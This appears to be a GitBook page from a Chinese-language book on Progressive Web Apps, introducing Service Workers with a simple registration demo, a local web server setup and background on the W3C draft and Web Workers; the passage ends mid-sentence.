<li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.5.1\" data-path=\"1-service-worker-introduction.html\">\n            \n                <a href=\"1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"2-service-worker-register.html\">\n            \n                <a href=\"2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"3-service-worker-dive.html\">\n            \n                <a href=\"3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"4-service-worker-debug.html\">\n            \n                <a href=\"4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >4.1 Service Worker 简介</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x7B80;&#x4ECB;\"><b></b>Service Worker &#x7B80;&#x4ECB;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\"><b></b>&#x4E3A;&#x4EC0;&#x4E48;&#x6709; Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x7684;&#x7279;&#x70B9;\"><b></b>Service Worker &#x7684;&#x7279;&#x70B9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\"><b></b>&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#service-worker-&#x7B80;&#x4ECB;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"service-worker-&#x7B80;&#x4ECB;\"><a name=\"service-worker-&#x7B80;&#x4ECB;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x7B80;&#x4ECB;\" class=\"plugin-anchor\" href=\"#service-worker-&#x7B80;&#x4ECB;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x7B80;&#x4ECB;</h1>\n<p>&#x4E22;&#x5931;&#x7F51;&#x7EDC;&#x8FDE;&#x63A5;&#x662F;&#x4E00;&#x4E2A;&#x56F0;&#x6270; Web &#x7528;&#x6237;&#x591A;&#x5E74;&#x7684;&#x96BE;&#x9898;&#xFF0C;&#x5373;&#x4F7F;&#x662F;&#x4E16;&#x754C;&#x4E0A;&#x6700;&#x597D;&#x7684; Web App&#xFF0C;&#x5982;&#x679C;&#x56E0;&#x4E3A;&#x7F51;&#x7EDC;&#x539F;&#x56E0;&#x8BBF;&#x95EE;&#x4E0D;&#x4E86;&#x5B83;&#xFF0C;&#x90A3;&#x4F53;&#x9A8C;&#x4E5F;&#x662F;&#x975E;&#x5E38;&#x7CDF;&#x7CD5;&#x7684;&#x3002;&#x672C;&#x5C0F;&#x8282;&#x8981;&#x4ECB;&#x7ECD;&#x7684; Service Worker &#x80FD;&#x63D0;&#x4F9B;&#x4E00;&#x79CD;&#x826F;&#x597D;&#x7684;&#x7EDF;&#x7B79;&#x673A;&#x5236;&#x5BF9;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x548C;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#x548C;&#x5904;&#x7406;&#xFF0C;&#x662F; PWA &#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x53EF;&#x8BBF;&#x95EE;&#x3001;&#x7A33;&#x5B9A;&#x8BBF;&#x95EE;&#x3001;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x7684;&#x4E00;&#x9879;&#x91CD;&#x8981;&#x6280;&#x672F;&#x3002;</p>\n<p>&#x901A;&#x5E38;&#x6240;&#x8BB2;&#x7684; Service Worker &#x6307;&#x7684;&#x662F; Service Worker &#x7EBF;&#x7A0B;&#x3002;&#x4E86;&#x89E3;&#x6D4F;&#x89C8;&#x5668;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x90FD;&#x77E5;&#x9053;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x6267;&#x884C;&#x7684; JavaScript &#x6587;&#x4EF6;&#x662F;&#x8FD0;&#x884C;&#x5728;&#x4E00;&#x4E2A;&#x5355;&#x4E00;&#x7EBF;&#x7A0B;&#x4E0A;&#xFF0C;&#x79F0;&#x4E4B;&#x4E3A; <strong>&#x4E3B;&#x7EBF;&#x7A0B;</strong>&#x3002;&#x800C; Service Worker &#x662F;&#x4E00;&#x79CD;&#x72EC;&#x7ACB;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684; <strong>&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;</strong>&#xFF0C;&#x4E0E;&#x5F53;&#x524D;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x4E3B;&#x7EBF;&#x7A0B;&#x662F;&#x5B8C;&#x5168;&#x9694;&#x79BB;&#x7684;&#xFF0C;&#x5E76;&#x6709;&#x81EA;&#x5DF1;&#x72EC;&#x7ACB;&#x7684;&#x6267;&#x884C;&#x4E0A;&#x4E0B;&#x6587;&#xFF08;context&#xFF09;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x501F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x6765;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x4EC0;&#x4E48;&#x662F; Service Worker&#xFF0C;&#x5047;&#x5982;&#x73B0;&#x5728;&#x6709;&#x4E00;&#x4E2A;&#x6700;&#x7B80;&#x5355;&#x7684;&#x524D;&#x7AEF;&#x9879;&#x76EE; serviceWorkerDemo &#xFF0C;&#x76EE;&#x5F55;&#x7ED3;&#x6784;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; serviceWorkerDemo\n    &#x251C;&#x2500;&#x2500; index.html\n    &#x2514;&#x2500;&#x2500; sw.js\n</code></pre>\n<p><code>index.html</code> &#x6587;&#x4EF6;&#x7684;&#x5185;&#x5BB9;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Service Worker Demo<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n      navigator.serviceWorker.register(&apos;./sw.js&apos;)\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>HTML5 &#x63D0;&#x4F9B;&#x7684;&#x4E00;&#x4E2A; Service Worker API&#xFF0C;&#x80FD;&#x591F;&#x8FDB;&#x884C; Service Worker &#x7EBF;&#x7A0B;&#x7684;&#x6CE8;&#x518C;&#x3001;&#x6CE8;&#x9500;&#x7B49;&#x5DE5;&#x4F5C;&#xFF0C;&#x5728;&#x8BE5;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x901A;&#x8FC7; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x5C31;&#x80FD;&#x591F;&#x6CE8;&#x518C;&#x4E00;&#x4E2A; Service Worker&#xFF0C;&#x5728;&#x5F53;&#x524D;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x65B0;&#x8D77;&#x4E00;&#x4E2A; Service Worker &#x7EBF;&#x7A0B;&#x3002;</p>\n<p>&#x5728;&#x793A;&#x4F8B;&#x9879;&#x76EE;&#x7684;&#x76EE;&#x5F55;&#x4E2D;&#x8FD8;&#x6709;&#x4E00;&#x4E2A; <code>sw.js</code>&#xFF0C;&#x6709;&#x65F6;&#x5019;&#x5F00;&#x53D1;&#x8005;&#x4F1A;&#x5C06;&#x8FD9;&#x4E2A; JavasScript &#x811A;&#x672C;&#x6587;&#x4EF6;&#x79F0;&#x4E4B;&#x4E3A; Service Worker&#xFF0C;&#x8FD9;&#x79CD;&#x8BF4;&#x6CD5;&#x4E0D;&#x662F;&#x5F88;&#x4E25;&#x8C28;&#xFF0C;&#x901A;&#x5E38;&#x5C06;&#x53EF;&#x4EE5;&#x88AB; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x6CE8;&#x518C;&#x7684; JavaScript &#x6587;&#x4EF6;&#x79F0;&#x4E4B;&#x4E3A; Service Worker &#x6587;&#x4EF6;&#xFF0C;&#x53EF;&#x4EE5;&#x662F;&#x4EFB;&#x4F55;&#x547D;&#x540D;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x4E2D;&#x547D;&#x540D;&#x4E3A; <code>sw.js</code>&#xFF0C;&#x5176;&#x5185;&#x5BB9;&#x5C31;&#x662F;&#x5728; Service Worker &#x7EBF;&#x7A0B;&#x4E0A;&#x4E0B;&#x6587;&#x4E2D;&#x6267;&#x884C;&#x7684;&#x5185;&#x5BB9;&#xFF08;&#x5982;&#x679C;&#x6587;&#x4EF6;&#x4E3A;&#x7A7A;&#x4EE3;&#x8868; worker &#x7EBF;&#x7A0B;&#x4EC0;&#x4E48;&#x4E5F;&#x4E0D;&#x4F1A;&#x505A;&#xFF09;&#xFF0C;&#x7531;&#x4E8E; Service Worker &#x7EBF;&#x7A0B;&#x662F;&#x72EC;&#x7ACB;&#x4E8E;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x6240;&#x4EE5;&#x5728; <code>sw.js</code> &#x4E2D;&#x7684;&#x4EFB;&#x4F55;&#x64CD;&#x4F5C;&#x90FD;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x5230;&#x4E3B;&#x7EBF;&#x7A0B;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x6765;&#x8FD0;&#x884C;&#x4E00;&#x4E0B;&#x4E0A;&#x9762;&#x7B80;&#x6613;&#x7684;&#x793A;&#x4F8B;&#xFF0C;&#x53EF;&#x4EE5;&#x501F;&#x52A9; local-web-server &#x5DE5;&#x5177;&#x5728;&#x793A;&#x4F8B;&#x9879;&#x76EE;&#x6839;&#x76EE;&#x5F55;&#x4E0B;&#x542F;&#x52A8;&#x4E00;&#x4E2A;&#x672C;&#x5730;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x67E5;&#x770B;&#x4E00;&#x4E0B; Service Worker &#x7684;&#x5177;&#x4F53;&#x8FD0;&#x884C;&#x72B6;&#x6001;&#xFF0C;&#x5982;&#x4E0B;&#x64CD;&#x4F5C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\">$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span> -g local-web-server\n$ ws\n</code></pre>\n<blockquote>\n<p>&#x63D0;&#x793A;&#xFF1A;\n&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#x4ECB;&#x7ECD;&#xFF0C;&#x672C;&#x7AE0;&#x6240;&#x6709;&#x7684; Demo &#x793A;&#x4F8B;&#x5728;&#x63D0;&#x5230; &#x201C;&#x8FD0;&#x884C;&#x201D; &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x90FD;&#x6307;&#x7684;&#x662F;&#x5728; Demo &#x9879;&#x76EE;&#x7684;&#x6839;&#x76EE;&#x5F55;&#x901A;&#x8FC7; <code>ws</code> &#x547D;&#x4EE4;&#x542F;&#x52A8; local-web-server&#xFF0C;&#x5176;&#x9ED8;&#x8BA4; host &#x4E3A; <code>127.0.0.1</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x7AEF;&#x53E3;&#x53F7;&#x4E3A; <code>8000</code>&#x3002;</p>\n</blockquote>\n<p>&#x4F7F;&#x7528; Chrome &#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE;&#x793A;&#x4F8B;&#x7AD9;&#x70B9; <code>http://127.0.0.1:8000</code> &#x7684;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x5F00;&#x53D1;&#x8005;&#x6A21;&#x5F0F;&#x7684; <code>Applications &gt; Service Worker</code> &#x9762;&#x677F;&#x4E2D;&#x770B;&#x5230;&#x5F53;&#x524D; Service Worker &#x7EBF;&#x7A0B;&#x7684;&#x72B6;&#x6001;&#xFF0C;&#x5728;&#x5B8C;&#x6210;&#x4E86; Service Worker &#x6CE8;&#x518C;&#x5B89;&#x88C5;&#x4E4B;&#x540E;&#xFF0C;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/service_worker_chrome_devtools.png\" alt=\"Chrome &#x4E0B;&#x8FD0;&#x884C; Service Worker &#x793A;&#x4F8B;&#x7684;&#x7ED3;&#x679C;\"></p>\n<p>&#x5F53;&#x8C03;&#x8282;&#x5F53;&#x524D;&#x7684;&#x7F51;&#x7EDC;&#x72B6;&#x6001;&#x4E3A;&#x300C;&#x79BB;&#x7EBF;&#x300D;&#xFF0C;&#x4F9D;&#x7136;&#x53EF;&#x4EE5;&#x770B;&#x5230; Service Worker &#x8FD8;&#x662F;&#x751F;&#x6548;&#x72B6;&#x6001;&#xFF0C;&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF0C;Service Worker &#x4E0D;&#x4EC5;&#x662F;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x4E8E;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x7684;&#x4E00;&#x4E2A;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x5E76;&#x4E14;&#x8FD8;&#x662F;&#x4E00;&#x4E2A;&#x53EF;&#x4EE5;&#x5728;&#x79BB;&#x7EBF;&#x73AF;&#x5883;&#x4E0B;&#x8FD0;&#x884C;&#x7684;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x4E3A; PWA &#x7684;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x63D0;&#x4F9B;&#x4E86;&#x53EF;&#x884C;&#x6027;&#x57FA;&#x7840;&#x3002;</p>\n<h2 id=\"&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\"><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\" class=\"plugin-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x6709;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E3A;&#x4EC0;&#x4E48;&#x6709; Service Worker</h2>\n<p>&#x5728;&#x4E86;&#x89E3;&#x4E86; Service Worker &#x662F;&#x4E00;&#x4E2A;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x7684;&#x672C;&#x8D28;&#x4E4B;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x7EE7;&#x7EED;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x6709; Service Worker &#x8FD9;&#x4E2A;&#x6280;&#x672F;&#x51FA;&#x73B0;&#x5462;&#xFF1F;W3C&#xFF08;&#x56FD;&#x9645;&#x4E07;&#x7EF4;&#x7F51;&#x8054;&#x76DF;&#xFF09;&#x65E9;&#x5728; 2014 &#x5E74; 5 &#x6708;&#x5C31;&#x63D0;&#x51FA;&#x4E86; Service Worker HTML5 API &#x8349;&#x6848;&#xFF0C;&#x7528;&#x6765;&#x8FDB;&#x884C; Web &#x8D44;&#x6E90;&#x548C;&#x8BF7;&#x6C42;&#x7684;&#x6301;&#x4E45;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x3002;Service Worker &#x7684;&#x6765;&#x5386;&#x53EF;&#x4EE5;&#x4ECE;&#x4E24;&#x4E2A;&#x65B9;&#x9762;&#x6765;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>&#x4E00;&#x65B9;&#x9762;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x7684; JavaScript &#x90FD;&#x662F;&#x8FD0;&#x884C;&#x5728;&#x4E00;&#x4E2A;&#x5355;&#x4E00;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E0A;&#x7684;&#xFF0C;&#x5728;&#x540C;&#x4E00;&#x65F6;&#x95F4;&#x5185;&#x53EA;&#x80FD;&#x505A;&#x4E00;&#x4EF6;&#x4E8B;&#x60C5;&#x3002;&#x968F;&#x7740; Web &#x4E1A;&#x52A1;&#x4E0D;&#x65AD;&#x590D;&#x6742;&#xFF0C;&#x5728; JavaScript &#x4E2D;&#x7684;&#x4EE3;&#x7801;&#x903B;&#x8F91;&#x4E2D;&#x5F80;&#x5F80;&#x4F1A;&#x51FA;&#x73B0;&#x5F88;&#x591A;&#x8017;&#x8D44;&#x6E90;&#x3001;&#x8017;&#x65F6;&#x95F4;&#x7684;&#x590D;&#x6742;&#x8FD0;&#x7B97;&#x8FC7;&#x7A0B;&#x3002;&#x8FD9;&#x4E9B;&#x8FC7;&#x7A0B;&#x5BFC;&#x81F4;&#x7684;&#x6027;&#x80FD;&#x95EE;&#x9898;&#x5728; Web App &#x65E5;&#x76CA;&#x589E;&#x957F;&#x7684;&#x590D;&#x6742;&#x5316;&#x8FC7;&#x7A0B;&#x4E2D;&#x66F4;&#x52A0;&#x51F8;&#x663E;&#x51FA;&#x6765;&#x3002;&#x6240;&#x4EE5; W3C &#x63D0;&#x51FA;&#x4E86; Web Worker API &#x6765;&#x4E13;&#x95E8;&#x89E3;&#x653E;&#x4E3B;&#x7EBF;&#x7A0B;&#xFF0C;Web Worker &#x662F;&#x8131;&#x79BB;&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E4B;&#x5916;&#x7684;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5C06;&#x4E00;&#x4E9B;&#x590D;&#x6742;&#x7684;&#x8017;&#x65F6;&#x7684;&#x5DE5;&#x4F5C;&#x653E;&#x5728; Web Worker &#x4E2D;&#x8FDB;&#x884C;&#xFF0C;&#x5DE5;&#x4F5C;&#x5B8C;&#x6210;&#x540E;&#x901A;&#x8FC7; postMessage &#x544A;&#x8BC9;&#x4E3B;&#x7EBF;&#x7A0B;&#x5DE5;&#x4F5C;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x800C;&#x4E3B;&#x7EBF;&#x7A0B;&#x901A;&#x8FC7; onmessage &#x5F97;&#x5230; Web Worker 